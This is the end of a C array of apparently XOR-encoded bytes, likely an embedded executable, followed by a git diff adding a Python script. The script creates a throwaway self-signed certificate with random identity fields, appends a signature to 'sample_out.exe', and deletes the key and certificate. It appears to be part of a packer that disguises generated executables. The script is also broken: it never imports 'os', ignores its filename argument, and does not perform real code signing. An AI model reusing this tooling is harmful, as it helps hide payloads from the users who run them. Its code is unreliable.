0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x35, 0x08, 0x0a, 0x14, 0x0b, 0x39, 0x34, 0x18, +0x40, 0x0c, 0x13, 0x0f, 0x50, 0x04, 0x5f, 0x10, 0x2d, 0x31, 0x5f, 0x12, 0x0c, 0x07, 0x11, 0x41, +0x49, 0x0d, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x15, 0x10, 0x08, 0x15, +0x15, 0x0b, 0x5a, 0x47, 0x49, 0x00, 0x1e, 0x14, 0x79, 0x67, 0x69, 0x75, 0x15, 0x10, 0x08, 0x15, +0x15, 0x0b, 0x5a, 0x47, 0x49, 0x00, 0x1e, 0x14, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x77, 0x69, 0x75, 0x5f, 0x65, 0x66, 0x71, 0xea, 0x57, 0xf2, 0x45, 0xda, 0x55, 0xa3, 0x41, +0x94, 0x57, 0x6c, 0x44, 0x73, 0x54, 0x44, 0x40, 0x45, 0x56, 0x2f, 0x44, 0x37, 0x54, 0x3c, 0x40, +0x1b, 0x56, 0xb1, 0x44, 0x81, 0x54, 0x62, 0x43, 0x60, 0x55, 0x4f, 0x47, 0x5e, 0x57, 0x26, 0x43, +0x37, 0x55, 0xe9, 0x47, 0xed, 0x57, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, }; \ No newline at end of file diff --git a/sign.py b/sign.py new file mode 100644 index 0000000..1f2e2ba --- /dev/null +++ b/sign.py @@ -0,0 +1,85 @@ +from OpenSSL import crypto, SSL +from Crypto.Signature import pkcs1_15 +from Crypto.Hash import SHA256 +from Crypto.PublicKey import RSA +from randomness import * +import subprocess + + +def cert_gen( + emailAddress=GetRandomString(10)+"@gmail.com", + commonName=GetRandomString(10), + countryName="NT", + localityName=GetRandomString(10), + stateOrProvinceName=GetRandomString(10), + organizationName=GetRandomString(10), + organizationUnitName=GetRandomString(10), + serialNumber=0, + validityStartInSeconds=0, + validityEndInSeconds=10*365*24*60*60, + KEY_FILE = "private.key", + CERT_FILE="selfsigned.crt"): + #can look at generated file using openssl: + #openssl x509 -inform pem -in selfsigned.crt -noout -text + # create a key pair + k = crypto.PKey() + k.generate_key(crypto.TYPE_RSA, 4096) + # create a self-signed cert + cert = crypto.X509() + cert.get_subject().C = countryName + cert.get_subject().ST = stateOrProvinceName + cert.get_subject().L = localityName + cert.get_subject().O = organizationName + cert.get_subject().OU = organizationUnitName + cert.get_subject().CN = commonName + cert.get_subject().emailAddress = emailAddress + cert.set_serial_number(serialNumber) + cert.gmtime_adj_notBefore(0) + cert.gmtime_adj_notAfter(validityEndInSeconds) + cert.set_issuer(cert.get_subject()) + cert.set_pubkey(k) + cert.sign(k, 'sha512') + with open(CERT_FILE, "wt") as f: + f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode("utf-8")) + with open(KEY_FILE, "wt") as f: + f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode("utf-8")) + +def sign(filename) : + cert_gen() + # Load the private key + with open('private.key', 'rb') as private_key_file: + private_key_data = private_key_file.read() + private_key = RSA.import_key(private_key_data) + + # Load the .cert file (assuming it contains the certificate in PEM format) + with open('selfsigned.crt', 'rb') as cert_file: + certificate_data = cert_file.read() + + # Load the .exe file to be signed + exe_to_sign = 'sample_out.exe' + with open(exe_to_sign, 'rb') as exe_file: + exe_data = exe_file.read() + + # Compute the SHA-256 hash of the .exe file + hash_obj = SHA256.new(exe_data) + + # Sign the hash using the private key + signature = pkcs1_15.new(private_key).sign(hash_obj) + + # Save the signature to a file + with open('signature.sig', 'wb') as signature_file: + signature_file.write(signature) + + # Combine the .exe file and the signature + signed_exe = exe_data + signature + + # Save the signed .exe file + signed_exe_filename = 'sample_out.exe' + with open(signed_exe_filename, 'wb') as signed_exe_file: + signed_exe_file.write(signed_exe) + + print(f"Successfully signed {exe_to_sign}.") + + os.remove("selfsigned.crt") + os.remove("private.key") + os.remove("signature.sig") \ No newline at end of file